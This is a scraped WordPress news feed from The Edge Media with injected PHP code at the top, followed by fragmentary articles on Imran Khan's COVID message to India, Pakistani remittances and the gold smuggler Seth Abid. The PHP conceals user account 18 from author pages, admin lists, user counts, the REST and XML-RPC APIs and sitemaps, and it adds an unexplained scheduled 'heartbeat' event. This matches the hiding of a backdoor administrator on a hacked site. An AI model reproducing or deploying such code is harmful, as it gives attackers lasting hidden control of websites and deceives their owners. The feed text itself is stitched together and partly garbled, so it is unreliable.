add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Pakistan’s Prime Minister Imran Khan message to Indians appeared first on The Edge Media.
]]> In the same day, more than 2,600 people lost their lives.
Here the second train of Oxygen Express has reached Lucknow. 25 patients died of oxygen deficiency at Jaipur Golden Hospital in Delhi. The Oxygen Express arrives in Nashik, Maharashtra.
Here the neighboring countries have joined the war due to the epidemic. The Government of Pakistan and the Bhutan have wished the situation to recover soon.
People were seen standing in long lines outside Mumbai’s BKC Jumbo Vaccination Center.
Pakistan’s Prime Minister Imran Khan has issued a message of solidarity to the people fighting the war against the dangerous wave of Corona virus in India. Imran Khan said that we wish the situation in our neighboring country and the world better as soon as possible.
ADG DJ Narayan of the Indian Railways said that it would take more than three days to carry oxygen by truck from Visakhapatnam to Maharashtra, whereas it would take only two days from the railway side.
The post Pakistan’s Prime Minister Imran Khan message to Indians appeared first on The Edge Media.
]]>The post How suddenly the earnings from foreign countries increased in Pakistan appeared first on The Edge Media.
]]>Kanwal Azeem, who works at a grocery store in the capital of Oslo, Norway, used to send money to the country through handover and handi.
The post How suddenly the earnings from foreign countries increased in Pakistan appeared first on The Edge Media.
]]>The post Pakistan’s ‘gold king’ who ends India’s dominance in gold smuggling appeared first on The Edge Media.
]]>The man was soon released from prison and only five months later, he appeared in a border village near Kasur. From there, he had to leave 45 gold bricks to escape from Amritsar police.
Six years later, this man once again surfaced when the Delhi Police tried to arrest him. At that time he was making a gold deal with a businessman of Moti Bazaar in Chandni Chowk.
The man managed to escape from the police, but one of his accomplices was caught and the police also recovered 44 gold bricks from him.
In 1977, a newspaper published from Lahore wrote about the man as “a golden fugitive, an extraordinary man, disguised and a fox-smart”.
The man’s name was included in the list of Pakistan and Interpol and he often traveled to Delhi, Dubai and London. And that man was none other than Seth Abid.
Seth Abid, who died at the age of 85, is also known as the ‘Gold King’ in Pakistan. He is counted among the richest people whose wealth depended on gold smuggling.
By the 1990s, he emerged as the most resource-rich property developer in the city, having a large number of properties in various parts of Lahore.
He also had a number of properties in Karachi and after being named in Panama Lake, he transferred his assets to the British Virgin Islands.
There are many stories about his exploits in the world of smuggling. Newspapers and social media still portray Seth Abid as a romantic and talk about his escape and glamorous life.
When newspapers introduced him as the ‘infamous Pakistani Gold King smuggler’, Seth protested against it. And presented themselves as those who made gold accessible to the general public.
Seth Abid told the editor of a Lahore newspaper: ‘Why am I called the infamous gold smuggler? I am providing cheap gold for the weddings of my sister and daughters. I am doing better service for society and country. Instead of getting praise and recognition, I got notoriety.
Seth Abid has now died. But his personality can survive in many forms and meanings in the coming days.
The post Pakistan’s ‘gold king’ who ends India’s dominance in gold smuggling appeared first on The Edge Media.
]]>